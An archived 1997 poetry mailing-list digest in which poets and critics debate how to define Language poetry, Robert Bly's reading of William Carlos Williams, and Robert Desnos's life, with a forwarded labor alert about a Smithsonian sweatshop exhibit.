Thank you Rod for a useful and accurate thumbnail - Still, as one who has been a Fellow Traveller for twenty or so years, I have always resisted the totalizing implicit in arguing or asserting about Language Poets - (This point has often been made here, but I can't help myself.) Whose poetics are being discussed? If it's five main guys, who are they? There is a lot of difference between say Kit Robinson, Bruce Andrews and Steve Benson - all arguably founding fathers. The longstanding influence of women Language Writers such as Lyn Hejinian, Carla Harryman, and Diane Ward not to say major (related) figures like Susan Howe, Beverly Dahlen or Leslie Scalapino seems not to make much sense in the battle of the various father/son generations. (And gender is very much not the only way that influential work becomes excluded from that linear history, as my late husband Jerry Estrin used often to rant.) The point being that the terms, when analyzed, are much more complex and interesting than the bashing or not bashing. It also seems not to reflect reality - as many younger writers have found work by the women mentioned above and others, as well as less easily categorizable men, as just as useful, or more useful in their own writing, than those who one might be imagining when using the term Language Poet.

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78. aerialedge
Re: another attempt
Sat 4 Oct 1997

Laura-- Well, it's not 5 main guys I mean when using the term language poetry (tho I think Hartley's book very good it fails in breadth of address)*, nor is it 3 main guys when using the term New York School, nor two when using Black Mountain, altho I suppose it might be 3 main guys if I were to use the term Spicer-Duncan-Blaser circle. I suppose if anything is meant by language poetry it is an insistent interest in disjunction, this seems to me implicit in the use of the term & it doesn't seem to me overly reductive when acknowledged as a kind of shorthand which I hope I did by saying "let's take a chance and say that language poetry exists." & the variety of uses of the disjunctive w/in & outside & by "precursors" & "followers" is something which interests me. Also one of the ways one might see a continuum between new amer & language is a shared interest in disjunctive techniques yes? & the differences among these writers & their readers relative to what they think they're doing is fascinating. & just to clarify again, it seems to me no matter what criteria one is using-- if looking at "the literary field" with a reasonable amount of attention-- there are at least a hundred writers one might identify, contingently, as language poets. & contingently is the only way one might go about it-- no one's gonna pin anything down, because it changes. I'm tempted to muse a bit re disjunctive manners of thinking but it's a bigger subject than I'm willing to take on today. At least I'll say that an understanding of the contingency of any articulation is what is to be gained, or one of the things to be gained from the work-- genuine friendship, for many, is another. Thanks for the feedback Laura & I hope this at least somewhat addresses Henry's post as well.

--Rod Smith

*Refered to above: _Textual Politics and the Language Poets_ by George Hartley, Indiana U Press 1989, focuses mainly on the work of Andrews, Bernstein, McCaffery, Silliman, & Watten.

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79. mark weiss
Re: another attempt
Sat 4 Oct 1997

I assume that you're aware that disjunctive poetry has been around since long before your principals were born. One may appropriate who one wishes as precursors. Not all "followers" will appreciate being so appropriated; some may even see that appropriation as cultural imperialism, or at least aggrandisement.

And you don't leave a space for contemporaries who are neither affiliated with nor in dialogue with the group.

I suppose if anything is meant by language
>poetry it is an insistent interest in disjunction, this seems to me implicit
>in the use of the term & it doesn't seem to me overly reductive when
>acknowledged as a kind of shorthand which I hope I did by saying "let's take
>a chance and say that language poetry exists." & the variety of uses of the
>disjunctive w/in & outside & by "precursors" & "followers" is something which
>interests me.

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80. Aviva Vogel
Re: language poetry bashing
Sat 4 Oct 1997

Thanks for your answer on "surrealistic" writers after WWII. It was thorough enough to help me understand your post, and I will now be spurred to read/research these writers, and be aware of the issue you've raised concerning their intolerances (doctrinaire attitudes). What do you know about Robert Desnos? I'm tremendously attracted to his "headlong" voice, but know little about his politics, or what informed him.

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81. aerialedge
Re: another attempt
Sat 4 Oct 1997

In a message dated 10/5/97 4:06:04 AM, you wrote:

> *I assume that you're aware that disjunctive poetry has been around since long before your principals were born. One may appropriate who one wishes as precursors. Not all "followers" will appreciate being so appropriated; some may even see that appropriation as cultural imperialism, or at least aggrandisement. And you don't leave a space for contemporaries who are neither affiliated with nor in dialogue with the group.*

I don't believe anything I said implied a lack of awareness of or indifference to the issues you innumerate. Also, I do not believe it's within my power, nor would I choose such power were it available to me, to include or exclude "contemporaries who are neither affiliated with nor in dialogue with" anything currently existent or imagined.

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82. **Aviva Vogel**

BlyBashes Williams - Major Disjunction

Sat 4 Oct 1997

John, I just found something that I think's pertinent to your question about Bly's comments on William Carlos Williams' poetry as having no "inward life." I thought I'd share it with you, although you've already heard and considered this before, but -- I was surprised to see my understanding of the issue affirmed so elegantly:

From "Charles Olson and the New Realism," Recreating the World/Word, Lynda D. McNeil, pp.215-216

In his essay, "Olson, Whitehead, and the Objectivists," Robert Von Hallberg contrasts Objectivist poetics (notably that of William Carlos Williams) with Olson's "kinetic" poetic. Von Hallberg maintains that Objectivist poetics were "aesthetic in the sense that the aesthetic object (poem) transcends its maker and gains its value from an independent state of being, not from its origin or effect. In contrast, Olson's poetic is humanistic: making is not less valuable than what is made." Olson's "kinetic" aesthetic grows out of a phenomenological principle that reality is a process, thus taking priority over form, and the poet must enact this process in order to confront reality: "Art does not seek to describe, but to enact" (Poetics, 169). Von Hallberg adds that: "Unlike the Objectivists...Olson's poetry not only relies on the equality of the subject and object, as Whitehead would have it, but more importantly on their reciprocity and symmetry. (VH, 90).

The idea of "reciprocity and symmetry" points back to monistic views of man and world (subject and object), to Williams' "edge to edge" to describe the poet and the world, and ahead to Werner Heisenberg's "Uncertainty Principle."

Olson saw the problem of "partitioned reality" in terms of the opposition of proponents of Mind (Kant, the Symbolists, and T.S. Eliot) and the proponents of the World or Things (the Positivisits, Imagists, Objectivists, and Pound.) In "Projective Verse, Part II," Olson writes: "It is no accident that Pound and Williams both were involved variously in a movement which got called "objectivism." But that word was then used in some sort of a necessary quarrel, I take it, with "subjectivism." It is now too late to be bothered with the latter. It has excellently done itself to death, even though we are all caught up in its dying (Poetics, 155).

Olson believed that it was "too late" to be bothered with the distinction between mind and matter, because science has revealed man's true relationship to things. According to Heisenberg's "Uncertainty Principle," the only way that an individual can know a thing is by interacting with it--subject cannot be divorced

from object, or as Olson says in "Human Universe," like Herder, who (interestingly) also used the skin metaphor: "the skin itself, the meeting edge of man and external reality are so involved with one another that, for man's purposes, they had better be taken as one" (Poetics, 168). Heisenberg expresses this idea in the following way: "Natural science does not simply describe and explain nature; it is part of the interplay between nature and ourselves." By interacting with an object, man influences its "behavior," thus thwarting any possibility of a purely objective description...

Olson's statement that "Image, is a vector" ...

[It seems to me to describe WCW's intention in looking so closely at objects, and tangling himself up so much with the issues of perception and apperception. For Robert Bly to see either WCW's poetry, or the contents of his poetry, as static artifact, is simply mistaken, for the subject of WCW's poetry was as much the dynamic between self and object as it was about either self or object. He was certainly embodying his existential process, I would say, even in his most "objectivist" poetry.

Thanks for raising this fruitful question, John.

Aviva

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83. Henry Gould

Re: language poetry bashing

Sat 4 Oct 1997

---

re: Desnos.

It is the older man who was mobilized in 1939, captured by the Germans, and returned to Paris. Joining the Resistance network, he was important in the operations of _Editions du Minuit_, the underground press. In 1942, his second collection of poems, _Fortunes_, appeared. Under the name of Valentin Guillois he published several pieces, notably the great _Watchman of the Pont-au-Change_. It is Desnos at his prophetic, optimistic best. Arrested by the Gestapo in 1944, he was sent first to Compeigne, later to Buchenwald. In 1945, with the Allied armies closing in, the Buchenwald prisoners were force-marched by the retreating SS to Terezin. In May, after the Allies had occupied the camp, Desnos was discovered by Josef Stuna. He spent his last days talking with Stuna and a nurse, Alena Teresova, about Paris , poetry, freedom.

Wm. Kulik, 1971

↑ Index

84. **Henry Gould**

Re: BlyBashes Williams - Major Disjunction

Sat 4 Oct 1997

---

on the relationship between people & the objective:

Fare forward, travellers! not escaping from the past
Into different lives, or into any future;
You are not the same people who left that station
Or who will arrive at any terminus,
While the narrowing rails slide together behind you;
And on the deck of the drumming liner
Watching the furrow that widens behind you,
You shall not think 'the past is finished'
Or 'the future is before us'.
At nightfall, in the rigging and the aerial,
Is a voice descanting (though not to the ear,
The murmuring shell of time, and not in any language)
'Fare forward, you who think you are voyaging;
You are not those who saw the harbor
Receding, or those who will disembark.
Here between the thither and the farther shore
While time is withdrawn, consider the future
And the past with an equal mind.
At the moment which is not of action or inaction
You can receive this: "on whatever sphere of being
The mind of man may be intent
At the time of death"--this is the one action
(And the time of death is every moment)
Which shall fructify in the lives of others:
And do not think of the fruit of action.
Fare forward.

- TS Eliot, _Four Quartets_

(seems like Ashbery, Olson, Williams, Crane, Ginsberg, and all their inheritors run screaming with their hands over their ears) (or listen ever so closely for the faltering) (right behind ol' Ez) (was Liz listening?) (& he DID falter) (better to just play games) (nothing refers to the inside or outside of anything) (words are organized by powers beyond our ken - & they are bad) (language is enslaved) (we are still slaves) (I'm free - who're you?) (I'm a grad student) (poetry = drugs) (monument to a heart of stone) (cool) (fire) (let's go to the reading) (why?) (old guy with feet of clay & an iron stomach) (lips are sealed) (what a drag - his own children were there) (they looked tired) (one of them's

in a creative writing program) (shut up - put on the tape again) (technique?) (internet?)

↑ Index

85. LAURA MORIARTY
Re: another attempt
Sat 4 Oct 1997

Rod - I'm not sure disjunction works (fond as I am of it) because the narrative writers whose sensibility is so important to this list (Dodie, Kevin, other New Narrative cohorts) are often not disjunct, word to word, line to line, nor are the essay/poems of some avowed and historically inevitable Language Writers. Lately, with a sense of transgression, I have been linear and liked it.

Of course one needs to generalize to speak of poetics at all. I ask only that it be acknowledged that Modernism becomes Postmoderism staring several key people (or key groups) is not the only story or the only game in town and may not be the critical one in restrospect. There are many way for work to have its effect.

The most interesting disjuction is to disrupt that false historical narrative whenever possible. I say this, btw, very much in support of you and your poetics. A lot of us are more important than we think we are.

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86. Bob Grumman
Defining Language Poetry
Sat 4 Oct 1997

I'm a taxonomaniac. Hence, as we go through these discussions of language poetry over and over, I get tired of never knowing what precisely is meant by "language poetry." And I'm with Mark Weiss in being sure that it's more than just disjunctional--or, more exactly, that it is disjunctional in a way that surrealistic and other forms of poetry aren't. My own claim, as mostly an outsider to language poetry, is that it is poetry that significantly breaks the rules of grammar and/or spelling for expressive effect. In my poetics, I rename it "xenolinguistic poetry" because of the confusion as to what language poetry is, but I'd prefer to call it language poetry. For me the identity, politics, philosophical outlook, etc., of those who are called language poets has nothing to do with what language poetry is. Nor is its subject matter, tone, etc. I want to know how we recognize it from words on a page (or spoken).

So, is it more than disrupted syntax, inflection, orthography? If so, how?

Bob G.

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87. **rsillima**
Smithsonian Sweatshop Exhibit Under Fire
Sat 4 Oct 1997

O this is all too predictable,

Ron

From: [redacted] (Julia Stein)
Subject: re: Smithsonian Sweatshop Exhibit Under Fire

Smithsonian Sweatshop Exhibit Under Fire

Labor Alerts/Labor News
a service of Campaign for Labor Rights
1247 "E" Street SE, Washington, DC 20003
[redacted] [redacted] http://www.compugraph.com/clr

Summary:

Segments of the clothing industry are trying to block a planned exhibit on the history of sweatshops, according to the Washington Post and Los Angeles Times. The exhibit, scheduled to open on April 15th, will include a re-creation of the El Monte sweatshop where Thai immigrants worked in near-slavery for years. Curators offered apparel industry representatives a chance to tell their side of the story. Pamela Rucker of the National Retail Federation declined, complaining that "there is no way we could counter the powerful impact of those horrific pictures from El Monte." The California Fashion Association said it is writing to members of Congress urging them to raise questions about the exhibit.

If the exhibit is to survive and tell its story, then supporters must mobilize as well.

Background:

The exhibit is part of a long-term Museum of American History project on 'work and worth." It will be entitled "Between a Rock and a Hard Place: A Dialogue on American Sweatshops, 1820-Present." One section of the exhibit will explain the history of sweatshops from the 1820's to the present. Next will be a re-creation of the El Monte sweatshop which will include the sewing machines and workstations used in the shop which were acquired by the Smithsonian after it was shut down by the California Labor Commission. That will be followed by a look at the global picture which will include a video of modern textile factories and explain that not all apparel is made in sweatshops. Allison Wolf of the

American Apparel Manufacturers Association withdrew her offer to produce the video after curator Peter Liebhold told her that "the union role has to be positively portrayed."

The museum asked industry, labor, government and individuals for contributions to fund the exhibit, but so far only UNITE, the garment workers' union, and the Department of Labor have made contributions. Apart from a monetary contribution, UNITE has also donated some items from its archives, including a picture of Eleanor Roosevelt sewing the first union label into a piece of clothing. UNITE spokeswoman Jo Ann Mort said that the 300,000 member union has had no other input into the content of the exhibit.

According to the Washington Post, manufacturers, fashion and apparel industries hope that the controversy will become as heated as the one surrounding the National Air and Space Museum's Enola Gay exhibit. That exhibit was canceled after protests from veterans groups which complained that that it was too sympathetic to the suffering of the Japanese from the atomic bombs.

Action Needed:

Write or fax the Smithsonian Museum expressing your support for this exhibit. In your own words, tell curators there that you believe that the American public has a right to know its own history. Consumers have a right to learn about the conditions under which our clothing and our children's clothing is being produced. This controversy is not just about history. It's about whether sweatshops are to be our future.

According to conversations with Smithsonian staff, letters will be extremely useful to them in showing citizen support for the exhibit in the face of industry protests.

Smithsonian Museum
Office of Public Affairs
National Museum of American History, Room 5104 - MRC623
Washington, DC 20560
Fax: [redacted]

Julia Stein
[redacted]

------End forward message----------

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)

[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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88. Tom Orange
another attempt
Sun 5 Oct 1997

---

two or three things strike me, and it's late and i can't give any of them the justice that they deserve, but in the interest of immediacy:

rod's notions of disjunctiveness (reduced as they have been) seem to have created some blips on the radar, and met with some resistances, to wit, it aint all that.

and yet bob grumman seems willing to take the visuality of langwriting on the page, (and) the xenolinguistics (elaborate, pls!), at the expense of the identity, politics, or philosophical outlook of any given langpo.

which makes me want to beg the emergence of a given kind of writing at an historical moment (as rod sez, post-vietnam post-newamerpo) and with a *kind* of politico-philosophical agenda i.e. decentering disjunctivity for want of a better a(dditionally).k.a poststructuralis...

(and this refiltered thru aviva's very interesting post on wcw and von hallberg on olson...)

so to throw another worm into the can: helen vendler has an essay on periodizing american poetry (heads up bob g.!) in a book edited by lawrence besserman that came out last year -- a whole other thread can come out of this one -- but she makes the point that post the beats and confessionals we have "the poem of the decentered self," of which a jorie graham or john ashberry is the more fruitful practitioner than a charles bernstein or bruce andrews.

disjunction, politics, philosophy, then -- or none all or some of the above?

hesitantly yrs,
t.

↑ Index

89. Rachel Loden
Re: Smithsonian Sweatshop Exhibit Under Fire
Sun 5 Oct 1997

Ron, thanks for posting that. Also interesting in this connection is Julia Stein's piece in _Electronic Book Review_, "Poets Take On Guess Inc.: Poets Win," at

http://www.altx.com/ebr/ebr5/stein.htm

Rachel

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90. Bob Grumman
Re: Defining Language Poetry
Sun 5 Oct 1997

When Tom Orange says that I seem "willing to take the visuality of langwriting on the page, (and) the xenolinguistics (elaborate, pls!), at the expense of the identity, politics, or philosophical outlook of any given langpo," I think he (in his hurry) misstates my position. I'm not so much concerned with the visuality of langpo as I am with what it is as textual composition. More important, I don't take the textual attributes of langpo (as I see them) "at the expense of the identity, politics, or philosophical outlook" of those who compose langpo but ASIDE from those concerns, in order to get an objective (and I'm not afraid to use such an adjective) definition of what langpo is as poetry. The other things--politics, etc.--are also important and interesting but not useful for defining langpo (for me).

As for Helen Vendler, thanks for the tip. If I can get hold of her essay, it'd be fun to read, but I don't expect it to say much as I think she's at least forty years behind what's going on in poetry now.

As for "xenolinguistics," it's just one more of my taxonomical coinages. It means just "strange linguistic practices," or the significant breaking grammatical or orthographic conventions. "Rose is a rose is a rose," for instance, breaks with normal sentence structure, so is xenolinguistic. For more, you'll have to wait for my 5,000-page monograph, to be published by the Oxford Press sometime in 2073.

Bob G.

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91. aerialedge
Re: another attempt
Sun 5 Oct 1997

In a message dated 10/5/97 7:19:27 AM, you wrote:

> *The most interesting disjuction is to disrupt that false historical narrative whenever possible.*

yes Laura -- makes me think of the Raworth: "The narrative line is only as boring as what is hung on it." So, for me it's not necessarily "a belief" in these historical narratives-- but a realization that these stories are being told-- so we, as poets, need to try to make them interesting. Make them of use. Remake them to include our experience. Sometimes one uses them, sometimes one leaves them in their little box to mildew. But a necessity not to ignore entirely, cause if we do, there are others that won't. Thus some validity to the occasional criticism of this generation for not writing criticism. Tho a number of good things have been done.

--Rod

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92. Michael Magee
Re: BlyBashes Williams - Major Disjunction
Sun 5 Oct 1997

From Aviva:
"For Robert Bly to see either WCW's poetry, or the contents of
his poetry, as static artifact, is simply mistaken, for the subject of
WCW's
poetry was as much the dynamic between self and object as it was about
either
self or object. He was certainly embodying his existential process, I
would
say, even in his most "objectivist" poetry."

Yes, I think this is precisely what Bly misses (unsurprisingly - the guy is so mistaken, so often, in his published opinions of other writers its almost unbelieveable). Bly is still so enamored with the Romantic notion of the integrity of the individual ("inner life" my foot! he says it as if he invented the idea) that he misses the fact that Williams is operating on a different paradigm altogether, one which begins with the assumption that, as William James said, "Thoughts are things, and vice versa." It's the dynamic (implied by James's casual "vice versa") which Williams seems interested in, as you say, an insistence that self

and object (or self and 'other') are determined in and by the act of their evolving dialogue.

-Mike.

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93. Jacques Debrot
Re: another attempt
Sun 5 Oct 1997

This is how Hank Lazer finesses the term "language poetry" when writing about someone as difficult to categorize as, say, Rachel Blau DuPlessis: "While DuPlessis's writing manifests certain tenedencies in Language Writing, her writing also helps us to understand the fictitious or reductive nature of such a term -- Language poetry -- as that term seems to imply a fixed or narrowly specified thing. Her at times thematized version of feminism, her myth-orientation . . . and her particular variety of lyricism are somewhat atypical of Language Writing. Her disturbance of syntax, her assimilation of a broad range of theoretical writing, the distribution or multiplication of subjectivity, and the variety of her uses of the page (as a field for innovative layout) -- espcially overwriting and double-writing -- situate her work within an experimentalism for which the term Language poetry, like the term , postmodernism, is becoming a fuzzy but well-entrenched metonym." I've chosen this passage somewhat at random -- the point is in *Opposing Poetries* Lazer continually works and re-works the term in ways that are relevant I think to many issues broached in recent posts. One other important aspect of Language Writing seems to me to involve its transgression of generic boundaries -- between the visual arts, criticism, etc. and poetry. In this context the relationship between Conceptual and Minimalist art and Language Writing has perhaps been neglected to an even greater extent than its connections to New Am poetry.

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94. Franklin Bruno
several current threads addressed serially
Sun 5 Oct 1997

Odd that I read Tom Beard's post yesterday and thought that it was brave of him to voice, in this forum, skepticism about critiques of science, but then read R. Gancie's post today and thought he scored some points too (the latter's original post somehow doesn't get to me--sometimes my digest gets cut off at some arbitrary point--if someone would backchannel the original post to which Tom was responding, I'd be grateful). I think I agree w/ Beard (though he might put it that way) that cultural criticism often conflate the ideological biases of the

uses to which a methodology is put with those of the methodology itself. I tend to find critiques of the former far more convincing. I'd also like to know if Gancie could explain a bit more about AI researchers not 'getting the news' that logical positivism is dead--I don't understand what specific import the failure of the verificationist project has for this particular empirical project. Perfectly possible that I'm misunderstanding something simple here.

On a not-esp.-related note: Disjunction never struck me as the essential component of langpo--the diffuse 'moment' (is that an oxymoron?) under discussion probably doesn't have an essence, but if it did, wouldn't it have something to do w/ a questioning (or at least a certain kind of awareness) of the conditions of reference--the gap (maybe a disjunction of another sort) between language and the world? And I'd add that 1) 'questioning' of ref. doesn't necessarily mean 'denial,' 2) in general, claiming that X is a feature of historical phenomenon Y doesn't imply that X didn't exist before Y.

And while I'm at it, how come the one poem of Henry Gould's that I've ever seen (in Poetry New York, I think, starting with some material about finding a Scrabble tile) didn't read -anything- like what I would have imagined from the positions he takes on this list?

fjb

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95. Joe Amato/Kass Fleisher

Re: another attempt

Sun 5 Oct 1997

---

just wanted to say that, while i appreciate the attempt being made here to locate formal features of poetry/writing that adequately describe language poetry-writing (and hope you'll all keep hashing this out), i wonder whether in fact it would not be equally propitious to think about the nature of readership (and reader/writer positions and relationships and 'community' and publishing realities) implied by this tag, over and against ?... somebody may already have said this, but i'm operating at the moment on half a brain (tenure time, weeeee!), so if so, please add my name to that list...

best,

joe

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96. Harold Rhenisch
Re: ANOTHER ATTEMPT
Sun 5 Oct 1997

"One other important aspect of Language Writing seems to me to involve its transgression of generic boundaries -- between the visual arts, criticism, etc. and poetry. In this context the relationship between Conceptual and Minimalist art and Language Writing has perhaps been neglected to an even greater extent than its connections to New Am poetry."

Yes!

Inclusion is important. Cartoons, Advertisements, road signs, T-shirts, doodles, sketches, drawings, collages, essays, scientific notes, newspaper clippings, you name it: anything can and should be used in poetry if poetry is not to be a ghetto. There are many good things out there which are not called poetry but which, all labels aside, are the place we should be working from. In my experience as a poet I've found I often have more in common with visual artists than with novelists. P.K. Page said that if you could write a poem you could paint, because they are the same thing. It worked for her. Hemingway revised by exploiting moments of opportunity in his work from the previous day. Language poetry can't be so different from any other kind of writing that it does not have room for these kinds of joyful approaches.

Harold Rhenisch

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97. Bob Grumman
Re: ANOTHER ATTEMPT
Sun 5 Oct 1997

Harold Rhenisch wrote:
>
> "One other important aspect of Language Writing seems to me to involve its
> transgression of generic boundaries -- between the visual arts, criticism,
> etc. and poetry. In this context the relationship between Conceptual and
> Minimalist art and Language Writing has perhaps been neglected to an even
> greater extent than its connections to New Am poetry."
>
> Yes!
>
> Inclusion is important. Cartoons, Advertisements, road signs, T-shirts,
> doodles, sketches, drawings, collages, essays, scientific notes, newspaper
> clippings, you name it: anything can and should be used in poetry if poetry

> is not to be a ghetto. There are many good things out there which are not
> called poetry but which, all labels aside, are the place we should be
> working from. In my experience as a poet I've found I often have more in
> common with visual artists than with novelists. P.K. Page said that if you
> could write a poem you could paint, because they are the same thing. It
> worked for her. Hemingway revised by exploiting moments of opportunity in
> his work from the previous day. Language poetry can't be so different from
> any other kind of writing that it does not have room for these kinds of
> joyful approaches.
>
> Harold Rhenisch

No, no, no. What you're talking about is INTERMEDIA or, in my taxonomy, PLURAESTHETIC POETRY. Great stuff but NOT ***LANGUAGE*** poetry. I continue to regret we lack an agreed-upon definition of what language poetry is, as opposed to what its creators might be trying to do with it.
--Bob G.

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98. Judy Roitman
Re: Defining Language Poetry
Sun 5 Oct 1997

Bob Grumman writes:

> *My own claim, as mostly an outsider to language poetry,*
> *is that it is poetry that significantly breaks the rules of grammar*
> *and/or spelling for expressive effect...*

I find this interesting, the notion of "expressive effect." Just what are we supposed to be expressing?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

99. Harold Rhenisch
Re: ANOTHER ATTEMPT
Sun 5 Oct 1997

Bob G.,

referring to:

"One other important aspect of Language Writing seems to me to involve its transgression of generic boundaries..."

and

"Language poetry can't be so different from any other kind of writing that it does not have room for these kinds of joyful approaches."

and your reply

"No, no, no. What you're talking about is INTERMEDIA or, in my taxonomy, PLURAESTHETIC POETRY. Great stuff but NOT ***LANGUAGE*** poetry. I continue to regret we lack an agreed-upon definition of what language poetry is, as opposed to what its creators might be trying to do with it."

Point well taken. Thanks. I take it you mean there is room within language poetry for these kinds of approaches, but only as a method of _using_ language poetry. If that's the case, then the same could be said about many other uses and approaches and many other components of a definition. I take it then that any definition would have to be fairly broad, even general, and inclusive of the specifics of various approaches. Mind you, I'd hate to completely separate use from definition.

Harold

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100. Mark Wallace
irreducible instants are not "the irreducible"
Sun 5 Oct 1997

I just wanted to add a further plug for Lissa McLaughlin's fine new book from Avec Books, and in so doing to respond to Beth Simon's query from the other day.

Beth, I think what I would say is that my comments probably CANNOT be taken out of the context of the way I'm responding specifically to Lissa McLaughlin's book. Her work is a complex reflection on the childhood and later experiences of a particular narrator whose life has been greatly affected by several traumatic incidents, though by no means has it ONLY been shaped by such incidents. Whether or not language plays some role in constituting those

incidents is perhaps an important question in some ways but in others tangential to the narrator's particular struggle--which, among other things, includes the recognition that language cannot FIX the meaning of those incidents and certainly cannot DESCRIBE the incidents --whether that description has clinical emphasis, political emphasis, pyschotherapeutic emphasis, or any other or combinaton thereof.

Thus, I don't see that anything in my comments suggest that I am saying that "life is irreducible" to language in any kind of generalizable way--I was not generalizing about anything, as far as I can tell. I think it's possible to believe that the world escapes language even as language helps constitute the world, a potential paradox that bothers me not in the slightest, but I'm not sure that this kind of generalizing means anything significant to me, really, because I tend to be more attracted to particularities (I don't say "individualities," which to my mind would miss the interrelation that's also in question) than I am to to authoritative absolutes such as the unassailable conviction, that some might have, about the extent to which language or experience pre-exist or predetermine each other.

In short, I was talking about the specifics of Lissa McLaughlin's book, which I highly recommend, and not only because it might lead to discussion about language and experience, but because of the particularities that are at stake in its use of language and experience.

Thanks for asking!

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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101. Herb Levy

Re: Klezmatics &

Sun 5 Oct 1997

> *speaking of music and herb, i just came from a bracing klezmatics concert. what fun. they rocked the minneapolis audience, a lot of folkie hippies (cuz of the venue, a nonprofit "cultural center" that specializes in "world music"), some very young gay punkish kids, some recent russian jewish immigrants with big jewelry, some regular jewish folks (but not a lot cuz it was friday night) and lots of non jews. when one of the klezmorim asked how many folks spoke yiddish, i didn't see a single hand go up.*

One of the things I like most about the Klezmatics is that, while they obviously know the field really well & can play the traditional stuff well, they don't simply play copies of it.

Folks interested in traditional musics of the USA might should check out the recently re-issued Anthology of American Folk Music (from Smithsonian Folkways). Compiled by experimental filmmaker, archivist, & mystic Harry Smith in the early 50s, this collection brings together a wide range of music from many traditions, in turn helping to foster the subsequent folk music scare/revival. The last of the six discs also includes some CD-ROM material including audio interviews, texts, and some films by & of Smith. Very wonderful stuff.

Here's a Web site on the collection:
<http://www.si.edu/organiza/offices/folklife/folkways/harry/hsa.htm>

Herb Levy
[redacted]

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102. Harold Rhenisch
Re: another attempt
Sun 5 Oct 1997

Luigi,

you wrote:

"i believe the thread here is on what specific features distinguish the aesthetic movement called "Language Poetry" from other aesthetics/schools/tendencies...."

Thanks for the correction.

A parallel discussion could be on what characteristics "Language Poetry" shares with other aesthetics, just so we don't lose something vital in the process of definition. For instance, if Language Poetry and Intermedia Poetry both work to break boundaries, say, they could be seen as parallel manifestations of a larger project, perhaps as yet undefined. To see them in such terms might help focus the definition of each. Or it might not. But it would be fun trying.

best,

Harold

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103. **don wellman**

Re: another attempt

Sun 5 Oct 1997

Language poetry: A form of tweaking syntax so as to reveal associations that are themselves comments on dominant modes of cultural production, including, notably, but not limited to critiques of the production of left liberal consciousness of self (one of several forms of consciousness that privileges individual empowerment and like those other forms is often highly phallocentric) and critiques of the ideological effects of consumption.

The poetry of left-liberal consciousness in the 1970's (whether taking Lowell, Ginsberg, Olson, or Ashberry; the so called "deep-image" school or ethnopoetics as a model) embraced a wide variety of disjunctive strategies, central to these was some idea of getting naked and discovering the self, of mapping some holistic idea of self on the cosmos (call this self-actualization or "individuation") or confessing to individual fragmentation of holistic consciousness (call this "schizophrenic posturing" if you want). Do not take this last sentence as a way of debunking the psychological realities of either individuation or schizophrenia, please. However, that consciousness rooted in some notion of holism (essentially Emersonian, essentially nostalgic), as a result of Vietnam-era and immediate post-Vietnam era politics (critiques of government, corporations, gender and race inequities) had either proven itself to be synonymous with failed middle-class liberalism or had retrenched to the level of the local community. So, if you started to publish around the time of Regan's election, the old forms of disjunction seemed tired and self-serving.

The thing about language poetry then, the thing that it got to before, widespread academic understanding of deconstruction or post-structuralism, was a use of language (of a language that had been entirely co-opted, shaped for market purposes, for political purposes, etc) against itself; certainly it was a project that did not propose an alternative through disjunction but instead aimed to reveal social facts through tweaking, through setting fragments of received language against one another, sometimes with humor, most significantly in ways that caused practitioners to examine the lexicon itself (not with a Duncan or Emersonian fascination with etymologies and secret knowledge) but with some of that orthographic experimentation on the surface that relates to visual poetry.

Now "tweaking" as I have called it (or "torquing as Silliman calls it) may well be only another surface form of disjunction; but unlike other forms of disjunction, it does not seek to strip off the mask of self-consciousness; instead it seeks to make conscious the ideological effects of language as it is most frequently used or found. ...

DonWellman

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104. henry gould
Re: several current threads addressed serially
Sun 5 Oct 1997

On Sun, 5 Oct 1997 11:05:02 -0700 Franklin Bruno said:
>
>On a not-esp.-related note: Disjunction never struck me as the essential
>component of langpo--the diffuse 'moment' (is that an oxymoron?) under
>discussion probably doesn't have an essence, but if it did, wouldn't it have
>something to do w/ a questioning (or at least a certain kind of awareness)
>of the conditions of reference--the gap (maybe a disjunction of another
>sort) between language and the world? And I'd add that 1) 'questioning' of
>ref. doesn't necessarily mean 'denial,' 2) in general, claiming that X is a
>feature of historical phenomenon Y doesn't imply that X didn't exist before Y.

This little offhand comment is a very strong defense of what the lang-poohs
are up to. Helen Vending-Machine, take note.
Woke up this morning
it was night
you were on my mind
looking for a home
for the boll weevil
                nothing like that in New York City
                it's all in Oklahoma
(- Ted Berrigan)
>
>And while I'm at it, how come the one poem of Henry Gould's that I've ever
>seen (in Poetry New York, I think, starting with some material about finding
>a Scrabble tile) didn't read -anything- like what I would have imagined from
>the positions he takes on this list?

Regarding this rather byzantine puzzle, all I can conclude is that Mr. Gould was
circling close to the perihelion of Jack Spandrift's literary influence at the time-
of-composition of that particular ejaculation. Spandrift, perhaps I should add,
in eclipsum? - Eric Blarnes

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105. **Thomas Bell**
Re: ANOTHER ATTEMPT
Sun 5 Oct 1997

f/u to Joe as well (he does have a good argument).

As a practitioner of "PLURAESTHETIC POETRY" (pompous name?) I note that some of my PP is LP and some isn't. Some of both is also prose poetry or picture poetry to throw some more p's out. Then distinction I find myself focusing on has to do with how much I try to lay things out for the reader. An LP reader has to work harder (and also need not get the same meaning out of what i write. tom bell

At 04:19 PM 10/5/97 -0400, Bob Grumman wrote:
>Harold Rhenisch wrote:
>>
>> "One other important aspect of Language Writing seems to me to involve its
>> transgression of generic boundaries -- between the visual arts, criticism,
>> etc. and poetry. In this context the relationship between Conceptual and
>> Minimalist art and Language Writing has perhaps been neglected to an
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>> greater extent than its connections to New Am poetry."
>>
>> Yes!
>>
>> Inclusion is important. Cartoons, Advertisements, road signs, T-shirts,
>> doodles, sketches, drawings, collages, essays, scientific notes, newspaper
>> clippings, you name it: anything can and should be used in poetry if poetry
>> is not to be a ghetto. There are many good things out there which are not
>> called poetry but which, all labels aside, are the place we should be
>> working from. In my experience as a poet I've found I often have more in
>> common with visual artists than with novelists. P.K. Page said that if you
>> could write a poem you could paint, because they are the same thing. It
>> worked for her. Hemingway revised by exploiting moments of opportunity
in
>> his work from the previous day. Language poetry can't be so different from
>> any other kind of writing that it does not have room for these kinds of
>> joyful approaches.
>>
>> Harold Rhenisch
>
